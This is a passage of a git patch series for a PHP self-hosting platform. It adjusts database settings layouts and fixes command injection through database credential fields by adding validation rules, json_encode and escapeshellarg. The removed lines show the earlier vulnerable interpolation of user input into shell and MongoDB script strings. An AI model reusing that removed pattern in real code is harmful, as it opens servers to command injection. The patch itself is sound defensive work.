+    $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartMariadb.php');
+
+    expect($source)->toContain('healthcheck.sh');
+    // Must not have gained any user-field interpolation
+    expect($source)->not->toMatch('/CMD-SHELL.*mariadb/i');
+});

From 1002d211d082e21ec5b64dcb529548a09203ca94 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 13:08:56 +0200
Subject: [PATCH 073/102] style(database): wrap public port inputs in flex-col
 gap-2 container

Add wrapper div around publicPort and publicPortTimeout inputs across
all database general settings views for consistent vertical spacing.
---
 .../database/clickhouse/general.blade.php       |  4 ++--
 .../database/dragonfly/general.blade.php        | 17 +++++++++--------
 .../project/database/keydb/general.blade.php    | 11 ++++++-----
 .../project/database/mariadb/general.blade.php  |  2 ++
 .../project/database/mongodb/general.blade.php  |  2 ++
 .../project/database/mysql/general.blade.php    |  2 ++
 .../database/postgresql/general.blade.php       | 10 ++++++----
 .../project/database/redis/general.blade.php    | 10 ++++++----
 8 files changed, 35 insertions(+), 23 deletions(-)

diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php
index 23286271a..9283172ad 100644
--- a/resources/views/livewire/project/database/clickhouse/general.blade.php
+++ b/resources/views/livewire/project/database/clickhouse/general.blade.php
@@ -54,7 +54,6 @@
                     readonly value="Starting the database will generate this." canGate="update" :canResource="$database" />
             @endif
         </div>
-        <div>
             <div class="flex flex-col py-2 w-64">
                 <div class="flex items-center gap-2 pb-2">
                     <div class="flex items-center">
@@ -76,11 +75,12 @@
                 <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
                     :canResource="$database" />
             </div>
+            <div class="flex flex-col gap-2">
             <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
                 canGate="update" :canResource="$database" />
             <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
                 label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
-        </div>
+            </div>
     </form>
     <h3 class="pt-4">Advanced</h3>
     <div class="w-64">
diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php
index 856fb8d93..ce46e47dd 100644
--- a/resources/views/livewire/project/database/dragonfly/general.blade.php
+++ b/resources/views/livewire/project/database/dragonfly/general.blade.php
@@ -113,14 +113,15 @@
                 <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
                     :canResource="$database" />
             </div>
-            <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
-                canGate="update" :canResource="$database" />
-            <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
-                label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
-        </div>
-    </form>
-    <h3 class="pt-4">Advanced</h3>
-    <div class="w-64">
+            <div class="flex flex-col gap-2">
+                <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
+                    canGate="update" :canResource="$database" />
+                <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
+                    label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+            </div>
+        </form>
+        <h3 class="pt-4">Advanced</h3>
+        <div class="w-64">
         <x-forms.checkbox helper="Drain logs to your configured log drain endpoint in your Server settings."
             instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs" canGate="update"
             :canResource="$database" />
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php
index 2310242c9..ee3f8fd0c 100644
--- a/resources/views/livewire/project/database/keydb/general.blade.php
+++ b/resources/views/livewire/project/database/keydb/general.blade.php
@@ -113,14 +113,15 @@
                 <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update"
                     :canResource="$database" />
             </div>
-            <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
-                canGate="update" :canResource="$database" />
-            <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
-                label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
-        </div>
+            <div class="flex flex-col gap-2">
+                <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort" label="Public Port"
+                    canGate="update" :canResource="$database" />
+                <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
+                    label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
         <x-forms.textarea
             helper="<a target='_blank' class='underline dark:text-white' href='https://raw.githubusercontent.com/Snapchat/KeyDB/unstable/keydb.conf'>KeyDB Default Configuration</a>"
             label="Custom KeyDB Configuration" rows="10" id="keydbConf" canGate="update" :canResource="$database" />
+            </div>
     </form>
     <h3 class="pt-4">Advanced</h3>
     <div class="w-64">
diff --git a/resources/views/livewire/project/database/mariadb/general.blade.php b/resources/views/livewire/project/database/mariadb/general.blade.php
index e3dc39dcf..1154124d1 100644
--- a/resources/views/livewire/project/database/mariadb/general.blade.php
+++ b/resources/views/livewire/project/database/mariadb/general.blade.php
@@ -137,10 +137,12 @@
                 <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
                     canGate="update" :canResource="$database" />
             </div>
+            <div class="flex flex-col gap-2">
             <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
                 id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
             <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
                 label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+            </div>
         </div>
         <x-forms.textarea label="Custom MariaDB Configuration" rows="10" id="mariadbConf"
             canGate="update" :canResource="$database" />
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php
index 13a82d350..e9e5d621d 100644
--- a/resources/views/livewire/project/database/mongodb/general.blade.php
+++ b/resources/views/livewire/project/database/mongodb/general.blade.php
@@ -151,10 +151,12 @@
                     <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
                         canGate="update" :canResource="$database" />
                 </div>
+                <div class="flex flex-col gap-2">
                 <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
                     id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
                 <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
                     label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+                </div>
             </div>
             <x-forms.textarea label="Custom MongoDB Configuration" rows="10" id="mongoConf"
                 canGate="update" :canResource="$database" />
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php
index eec9fe1ac..bb3916ec8 100644
--- a/resources/views/livewire/project/database/mysql/general.blade.php
+++ b/resources/views/livewire/project/database/mysql/general.blade.php
@@ -153,10 +153,12 @@
                 </div>
                 <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available" canGate="update" :canResource="$database" />
             </div>
+            <div class="flex flex-col gap-2">
             <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
                 id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
             <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
                 label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+            </div>
         </div>
         <x-forms.textarea label="Custom Mysql Configuration" rows="10" id="mysqlConf" canGate="update" :canResource="$database" />
         <h3 class="pt-4">Advanced</h3>
diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php
index e8536e735..9c956f5b3 100644
--- a/resources/views/livewire/project/database/postgresql/general.blade.php
+++ b/resources/views/livewire/project/database/postgresql/general.blade.php
@@ -163,10 +163,12 @@
                         <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
                             canGate="update" :canResource="$database" />
                     </div>
-                    <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
-                        label="Public Port" canGate="update" :canResource="$database" />
-                    <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
-                        label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+                    <div class="flex flex-col gap-2">
+                        <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
+                            label="Public Port" canGate="update" :canResource="$database" />
+                        <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
+                            label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+                    </div>
                 </div>
 
                 <div class="flex flex-col gap-2">
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php
index 485c69125..73ee5f0e5 100644
--- a/resources/views/livewire/project/database/redis/general.blade.php
+++ b/resources/views/livewire/project/database/redis/general.blade.php
@@ -132,10 +132,12 @@
                 <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
                     canGate="update" :canResource="$database" />
             </div>
-            <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
-                id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
-            <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
-                label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+            <div class="flex flex-col gap-2">
+                <x-forms.input type="number" placeholder="5432" disabled="{{ $isPublic }}"
+                    id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
+                <x-forms.input type="number" placeholder="3600" disabled="{{ $isPublic }}" id="publicPortTimeout"
+                    label="Proxy Timeout (seconds)" helper="Timeout for the public TCP proxy connection in seconds. Default: 3600 (1 hour)." canGate="update" :canResource="$database" />
+            </div>
         </div>
         <x-forms.textarea placeholder="# maxmemory 256mb
 # maxmemory-policy allkeys-lru

From 2264a2ef76f15cdc8b8cdf9f7f1bcd8e984a9280 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 13:28:55 +0200
Subject: [PATCH 074/102] docs(tests): replace advisory ID with descriptive
 comment in healthcheck injection test

---
 tests/Unit/DatabaseHealthcheckCommandInjectionTest.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
index b8c2b8a5d..f2a9350ab 100644
--- a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
+++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
@@ -1,7 +1,7 @@
 <?php
 
 /**
- * Regression tests for GHSA-gvc4-f276-r88p.
+ * Regression tests for database healthcheck command injection.
  *
  * Docker CMD-SHELL healthchecks pass the string to /bin/sh -c, enabling command injection
  * via user-controlled DB username/password/database fields. The fix converts all affected

From 03313e54cc790f3a6df6cb4fa9274c27437083e7 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 13:58:36 +0200
Subject: [PATCH 075/102] fix(database): enforce credential format validation
 and sanitize init/SSL arguments

Add ValidationPatterns helpers for database identifiers and passwords,
apply them across database Livewire components and the API controller,
encode MongoDB init script values via json_encode, and pass the MySQL
user through escapeshellarg when generating SSL chown commands.
---
 app/Actions/Database/StartMongodb.php         |   5 +-
 app/Actions/Database/StartMysql.php           |   3 +-
 .../Controllers/Api/DatabasesController.php   |  75 ++++----
 .../Project/Database/Clickhouse/General.php   |  10 +-
 .../Project/Database/Dragonfly/General.php    |   5 +-
 .../Project/Database/Keydb/General.php        |   5 +-
 .../Project/Database/Mariadb/General.php      |  16 +-
 .../Project/Database/Mongodb/General.php      |  12 +-
 .../Project/Database/Mysql/General.php        |  16 +-
 .../Project/Database/Postgresql/General.php   |  12 +-
 .../Project/Database/Redis/General.php        |   8 +-
 app/Support/ValidationPatterns.php            |  92 +++++++++
 ...atabaseCredentialValidationPatternTest.php | 176 ++++++++++++++++++
 .../DatabaseSslCredentialEscapingTest.php     | 149 +++++++++++++++
 14 files changed, 502 insertions(+), 82 deletions(-)
 create mode 100644 tests/Unit/DatabaseCredentialValidationPatternTest.php
 create mode 100644 tests/Unit/DatabaseSslCredentialEscapingTest.php

diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php
index 9565990c1..c79789718 100644
--- a/app/Actions/Database/StartMongodb.php
+++ b/app/Actions/Database/StartMongodb.php
@@ -340,7 +340,10 @@ private function add_custom_mongo_conf()
 
     private function add_default_database()
     {
-        $content = "db = db.getSiblingDB(\"{$this->database->mongo_initdb_database}\");db.createCollection('init_collection');db.createUser({user: \"{$this->database->mongo_initdb_root_username}\", pwd: \"{$this->database->mongo_initdb_root_password}\",roles: [{role:\"readWrite\",db:\"{$this->database->mongo_initdb_database}\"}]});";
+        $dbJson = json_encode($this->database->mongo_initdb_database, JSON_UNESCAPED_SLASHES);
+        $userJson = json_encode($this->database->mongo_initdb_root_username, JSON_UNESCAPED_SLASHES);
+        $pwdJson = json_encode($this->database->mongo_initdb_root_password, JSON_UNESCAPED_SLASHES);
+        $content = "db = db.getSiblingDB({$dbJson});db.createCollection('init_collection');db.createUser({user: {$userJson}, pwd: {$pwdJson}, roles: [{role:\"readWrite\",db:{$dbJson}}]});";
         $content_base64 = base64_encode($content);
         $this->commands[] = "mkdir -p $this->configuration_dir/docker-entrypoint-initdb.d";
         $this->commands[] = "echo '{$content_base64}' | base64 -d | tee $this->configuration_dir/docker-entrypoint-initdb.d/01-default-database.js > /dev/null";
diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php
index 1b2b338d3..0394d50b6 100644
--- a/app/Actions/Database/StartMysql.php
+++ b/app/Actions/Database/StartMysql.php
@@ -215,7 +215,8 @@ public function handle(StandaloneMysql $database)
         $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d";
 
         if ($this->database->enable_ssl) {
-            $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->mysql_user}:{$this->database->mysql_user} /etc/mysql/certs/server.crt /etc/mysql/certs/server.key");
+            $mysqlUser = escapeshellarg($this->database->mysql_user);
+            $this->commands[] = executeInDocker($this->database->uuid, "chown {$mysqlUser}:{$mysqlUser} /etc/mysql/certs/server.crt /etc/mysql/certs/server.key");
         }
 
         $this->commands[] = "echo 'Database started.'";
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 6749d224b..c05af152f 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -379,9 +379,9 @@ public function update_by_uuid(Request $request)
             case 'standalone-postgresql':
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf'];
                 $validator = customApiValidator($request->all(), [
-                    'postgres_user' => 'string',
-                    'postgres_password' => 'string',
-                    'postgres_db' => 'string',
+                    'postgres_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                    'postgres_password' => ValidationPatterns::databasePasswordRules(required: false),
+                    'postgres_db' => ValidationPatterns::databaseIdentifierRules(required: false),
                     'postgres_initdb_args' => 'string',
                     'postgres_host_auth_method' => 'string',
                     'postgres_conf' => 'string',
@@ -410,20 +410,20 @@ public function update_by_uuid(Request $request)
             case 'standalone-clickhouse':
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password'];
                 $validator = customApiValidator($request->all(), [
-                    'clickhouse_admin_user' => 'string',
-                    'clickhouse_admin_password' => 'string',
+                    'clickhouse_admin_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                    'clickhouse_admin_password' => ValidationPatterns::databasePasswordRules(required: false),
                 ]);
                 break;
             case 'standalone-dragonfly':
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password'];
                 $validator = customApiValidator($request->all(), [
-                    'dragonfly_password' => 'string',
+                    'dragonfly_password' => ValidationPatterns::databasePasswordRules(required: false),
                 ]);
                 break;
             case 'standalone-redis':
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf'];
                 $validator = customApiValidator($request->all(), [
-                    'redis_password' => 'string',
+                    'redis_password' => ValidationPatterns::databasePasswordRules(required: false),
                     'redis_conf' => 'string',
                 ]);
                 if ($request->has('redis_conf')) {
@@ -450,7 +450,7 @@ public function update_by_uuid(Request $request)
             case 'standalone-keydb':
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf'];
                 $validator = customApiValidator($request->all(), [
-                    'keydb_password' => 'string',
+                    'keydb_password' => ValidationPatterns::databasePasswordRules(required: false),
                     'keydb_conf' => 'string',
                 ]);
                 if ($request->has('keydb_conf')) {
@@ -478,10 +478,10 @@ public function update_by_uuid(Request $request)
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database'];
                 $validator = customApiValidator($request->all(), [
                     'mariadb_conf' => 'string',
-                    'mariadb_root_password' => 'string',
-                    'mariadb_user' => 'string',
-                    'mariadb_password' => 'string',
-                    'mariadb_database' => 'string',
+                    'mariadb_root_password' => ValidationPatterns::databasePasswordRules(required: false),
+                    'mariadb_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                    'mariadb_password' => ValidationPatterns::databasePasswordRules(required: false),
+                    'mariadb_database' => ValidationPatterns::databaseIdentifierRules(required: false),
                 ]);
                 if ($request->has('mariadb_conf')) {
                     if (! isBase64Encoded($request->mariadb_conf)) {
@@ -508,9 +508,9 @@ public function update_by_uuid(Request $request)
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database'];
                 $validator = customApiValidator($request->all(), [
                     'mongo_conf' => 'string',
-                    'mongo_initdb_root_username' => 'string',
-                    'mongo_initdb_root_password' => 'string',
-                    'mongo_initdb_database' => 'string',
+                    'mongo_initdb_root_username' => ValidationPatterns::databaseIdentifierRules(required: false),
+                    'mongo_initdb_root_password' => ValidationPatterns::databasePasswordRules(required: false),
+                    'mongo_initdb_database' => ValidationPatterns::databaseIdentifierRules(required: false),
                 ]);
                 if ($request->has('mongo_conf')) {
                     if (! isBase64Encoded($request->mongo_conf)) {
@@ -537,10 +537,10 @@ public function update_by_uuid(Request $request)
             case 'standalone-mysql':
                 $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf'];
                 $validator = customApiValidator($request->all(), [
-                    'mysql_root_password' => 'string',
-                    'mysql_password' => 'string',
-                    'mysql_user' => 'string',
-                    'mysql_database' => 'string',
+                    'mysql_root_password' => ValidationPatterns::databasePasswordRules(required: false),
+                    'mysql_password' => ValidationPatterns::databasePasswordRules(required: false),
+                    'mysql_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                    'mysql_database' => ValidationPatterns::databaseIdentifierRules(required: false),
                     'mysql_conf' => 'string',
                 ]);
                 if ($request->has('mysql_conf')) {
@@ -1724,9 +1724,9 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         if ($type === NewDatabaseTypes::POSTGRESQL) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf'];
             $validator = customApiValidator($request->all(), [
-                'postgres_user' => 'string',
-                'postgres_password' => 'string',
-                'postgres_db' => 'string',
+                'postgres_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                'postgres_password' => ValidationPatterns::databasePasswordRules(required: false),
+                'postgres_db' => ValidationPatterns::databaseIdentifierRules(required: false),
                 'postgres_initdb_args' => 'string',
                 'postgres_host_auth_method' => 'string',
                 'postgres_conf' => 'string',
@@ -1783,8 +1783,11 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         } elseif ($type === NewDatabaseTypes::MARIADB) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database'];
             $validator = customApiValidator($request->all(), [
-                'clickhouse_admin_user' => 'string',
-                'clickhouse_admin_password' => 'string',
+                'mariadb_conf' => 'string',
+                'mariadb_root_password' => ValidationPatterns::databasePasswordRules(required: false),
+                'mariadb_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                'mariadb_password' => ValidationPatterns::databasePasswordRules(required: false),
+                'mariadb_database' => ValidationPatterns::databaseIdentifierRules(required: false),
             ]);
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
             if ($validator->fails() || ! empty($extraFields)) {
@@ -1839,10 +1842,10 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         } elseif ($type === NewDatabaseTypes::MYSQL) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf'];
             $validator = customApiValidator($request->all(), [
-                'mysql_root_password' => 'string',
-                'mysql_password' => 'string',
-                'mysql_user' => 'string',
-                'mysql_database' => 'string',
+                'mysql_root_password' => ValidationPatterns::databasePasswordRules(required: false),
+                'mysql_password' => ValidationPatterns::databasePasswordRules(required: false),
+                'mysql_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                'mysql_database' => ValidationPatterns::databaseIdentifierRules(required: false),
                 'mysql_conf' => 'string',
             ]);
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
@@ -1898,7 +1901,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         } elseif ($type === NewDatabaseTypes::REDIS) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf'];
             $validator = customApiValidator($request->all(), [
-                'redis_password' => 'string',
+                'redis_password' => ValidationPatterns::databasePasswordRules(required: false),
                 'redis_conf' => 'string',
             ]);
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
@@ -1954,7 +1957,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         } elseif ($type === NewDatabaseTypes::DRAGONFLY) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares',  'dragonfly_password'];
             $validator = customApiValidator($request->all(), [
-                'dragonfly_password' => 'string',
+                'dragonfly_password' => ValidationPatterns::databasePasswordRules(required: false),
             ]);
 
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
@@ -1984,7 +1987,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         } elseif ($type === NewDatabaseTypes::KEYDB) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf'];
             $validator = customApiValidator($request->all(), [
-                'keydb_password' => 'string',
+                'keydb_password' => ValidationPatterns::databasePasswordRules(required: false),
                 'keydb_conf' => 'string',
             ]);
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
@@ -2040,8 +2043,8 @@ public function create_database(Request $request, NewDatabaseTypes $type)
         } elseif ($type === NewDatabaseTypes::CLICKHOUSE) {
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares',  'clickhouse_admin_user', 'clickhouse_admin_password'];
             $validator = customApiValidator($request->all(), [
-                'clickhouse_admin_user' => 'string',
-                'clickhouse_admin_password' => 'string',
+                'clickhouse_admin_user' => ValidationPatterns::databaseIdentifierRules(required: false),
+                'clickhouse_admin_password' => ValidationPatterns::databasePasswordRules(required: false),
             ]);
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
             if ($validator->fails() || ! empty($extraFields)) {
@@ -2077,9 +2080,9 @@ public function create_database(Request $request, NewDatabaseTypes $type)
             $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database'];
             $validator = customApiValidator($request->all(), [
                 'mongo_conf' => 'string',
-                'mongo_initdb_root_username' => 'string',
-                'mongo_initdb_root_password' => 'string',
-                'mongo_initdb_database' => 'string',
+                'mongo_initdb_root_username' => ValidationPatterns::databaseIdentifierRules(required: false),
+                'mongo_initdb_root_password' => ValidationPatterns::databasePasswordRules(required: false),
+                'mongo_initdb_database' => ValidationPatterns::databaseIdentifierRules(required: false),
             ]);
             $extraFields = array_diff(array_keys($request->all()), $allowedFields);
             if ($validator->fails() || ! empty($extraFields)) {
diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php
index e06629d10..3a367844a 100644
--- a/app/Livewire/Project/Database/Clickhouse/General.php
+++ b/app/Livewire/Project/Database/Clickhouse/General.php
@@ -76,8 +76,8 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'clickhouseAdminUser' => 'required|string',
